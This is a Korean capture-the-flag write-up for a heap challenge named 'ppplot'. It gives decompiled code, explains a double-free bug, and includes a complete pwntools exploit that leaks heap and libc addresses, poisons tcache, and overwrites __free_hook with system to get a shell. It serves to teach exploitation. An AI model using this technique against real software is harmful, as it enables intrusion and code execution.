ppplot

Analysis

int __fastcall arith(int flag)
{
  uint64_t *v1; // rax
  unsigned int res; // eax
  char v3; // cl
  int i; // [rsp+1Ch] [rbp-14h]
  int idx; // [rsp+20h] [rbp-10h]
  unsigned int v7; // [rsp+24h] [rbp-Ch]
  eq_obj *obj; // [rsp+28h] [rbp-8h]

  printf("idx: ");
  idx = read_int();
  if ( (unsigned int)idx < 128 )
  {
    v1 = (uint64_t *)obj_list_[idx];
    obj = (eq_obj *)v1;
    for ( i = 0; i <= 63; ++i )
    {
      res = calc(obj, i - 0x20);
      v7 = res + 0x20;
      LODWORD(v1) = printf("(%d, %d)\n", (unsigned int)(i - 0x20), res);
      if ( v7 <= 0x3F )
      {
        if ( flag )
          v3 = '.';
        else
          v3 = '@';
        v1 = (uint64_t *)&buf[0x40 * (__int64)(int)v7 + i];
        *(_BYTE *)v1 = v3;
      }
    }
  }
  else
  {
    LODWORD(v1) = puts("index out of bounds");
  }
  return (int)v1;
}
void sub_15F4()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  v0 = read_int();
  if ( v0 < 0x80 )
    free(obj_list_[v0]);
  else
    puts("index out of bounds");
}

double free가 발생한다.

__int64 __fastcall calc(eq_obj *obj, int a2)
{
  unsigned int v3; // [rsp+Ch] [rbp-10h]
  signed int term_iter; // [rsp+10h] [rbp-Ch]
  int v5; // [rsp+14h] [rbp-8h]
  signed int i; // [rsp+18h] [rbp-4h]

  v3 = 0;
  for ( term_iter = 0; term_iter < (signed int)obj->degree; ++term_iter )
  {
    v5 = 1;
    for ( i = 0; i < term_iter; ++i )
      v5 *= a2;
    v3 += v5 * obj->term_list[term_iter];
  }
  return v3;
}                                               // 1x + (cx) + (c^2*x1) + (c^3*x)
                                                // 1x + -(cx) + (c^2*x1) + -(c^3*x)

다항식을 입력받는다.

주석에 달린것 처럼 연산이 된다.

Exploitation

DFB가 발생한다는 것은, dangling pointer가 남는다는 의미다. dangling pointer가 남았다면 free된 상태에서 연산이 가능하다는 의미다. free된 상태에서의 힙주소를 leak할 수 있게 된다.

1*x + c*x1 + c^2*x2 + c^3*x3 
1*x + -c*x1 + c^2*x2 + -c^3*x3

x,x1=0,0 

c^2*x2 + c^3*x3 
c^2*x2 + -c^3*x3

기본적으로 free 이후 tcache에서의 메모리 힙 청크 상태를 확인해보면, x, x1자리가 0이다. 그래서 -1, +1일때의 출력 결과를 바탕으로 주소를 얻어낼 수 있다.

DFB를 통해 임의 청크를 할당해서 size를 변조하고 free한다. unsorted bin에 위치시키고 main arena가 libc에 위치하고 있으니 이와 doubly linked list로 연결된 unsorted bin을 leak한다.

구글의 nsjail을 이용해서 docker가 배포되었다. /srv에 우분투가 마운트되고 격리된 프로세스는 /srv를 /로 마운트하는것을 확인했다. 이를 이용해 환경을 구축할 수 있었다. https://github.com/msh1307/binPatch 옛날에 개발했던 바이너리 패치 도구를 이용해서 환경을 맞춘다.

Exploit script

from pwn import *
from regex import W
# nsjail mounts /srv/ -> / 
# ubuntu@sha256:f2034e7195f61334e6caff6ecf2e965f92d11e888309065da85ff50c617732b8
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
rvu = lambda x : p.recvuntil(x)

def mk_eq(degree, i : list):
    sla(b'pp: ', str(1))
    sla(b'degree: ',str(degree))
    for iter in range(degree):
        sla(b'enter', str(i[iter]))

def free(idx):
    sla(b'pp: ', str(5))
    sla(b'idx: ', str(idx))

def print_():
    sla(b'pp: ', str(2))
    
def arith(idx):
    sla(b'pp: ', str(3))
    sla(b'idx: ', str(idx))

libc = ELF('./bc.so.6')
p = process('./out.bin') # already patched 
for i in range(0x9):
    mk_eq(10, [26739]*10)
for i in range(0x9):
    free(i)

for i in range(0x7):
    mk_eq(10, [26739]*10)
mk_eq(0x4, [26739]*4)
free(7) 
# idx 8 -> 4 | idx7

arith(8)

rvu(b'(-1, ')
neg_cx = int(rvu(b')')[:-1])

rvu(b'(1, ')
pos_cx = int(rvu(b')')[:-1])

v = (((neg_cx + pos_cx))//2)
heap = ( (((pos_cx - v)) << 32) | v&0xffffffff )
success(hex(heap))
mk_eq(2,[0]*2) # idx 17

for i in range(9):
    mk_eq(10,[0]*10)
for i in range(9):
    free(i+18)
free(7+18)

for i in range(3):
    mk_eq(0,[])

target = heap + 0x280
mk_eq(4,[target&0xffffffff,target>>32,0,0])
mk_eq(8,[0]*8)
mk_eq(4,[0,0,0x461,0])
# +0x460, there's a prev inusebit enabled sz. 
free(0)

# just reclaiming a freed chunk and changing a content ptr let me leak libc.
mk_eq(10,[0]*10) # 33
mk_eq(10,[0]*10) # 34
free(33)
free(34)
target = heap + 0x338
mk_eq(4,[4,0,target,target>>32]) 
'''
gef> x/4xg 0x55db06567330+8
0x55db06567338: 0x00000000000003c1      0x00007fe33e2c6be0
0x55db06567348: 0x00007fe33e2c6be0      0x0000000000000000'''

arith(33)
rvu(b'(-1, ')
neg_cx = int(rvu(b')')[:-1])

rvu(b'(1, ')
pos_cx = int(rvu(b')')[:-1])

v = (((neg_cx + pos_cx))//2)
libc_base = ( (((pos_cx - v)) << 32) | v&0xffffffff ) - 0x1ecbe0
success(hex(libc_base))

mk_eq(10,[0]*10)
mk_eq(10,[0]*10)
free(36)
free(37)
mk_eq(4,[26739]*4)



for i in range(9):
    mk_eq(10,[0]*10)
for i in range(9):
    free(i+38)
free(7+38)

for i in range(3):
    mk_eq(0,[])
target = libc_base + libc.sym.__free_hook
mk_eq(4,[target&0xffffffff,target>>32,0,0])
mk_eq(8,[0]*8)
mk_eq(4,[(libc_base+libc.sym.system)&0xffffffff,(libc_base+libc.sym.system)>>32,0,0])

# +0x460, there's a prev inuse bit enabled sz. 
free(36)


p.interactive()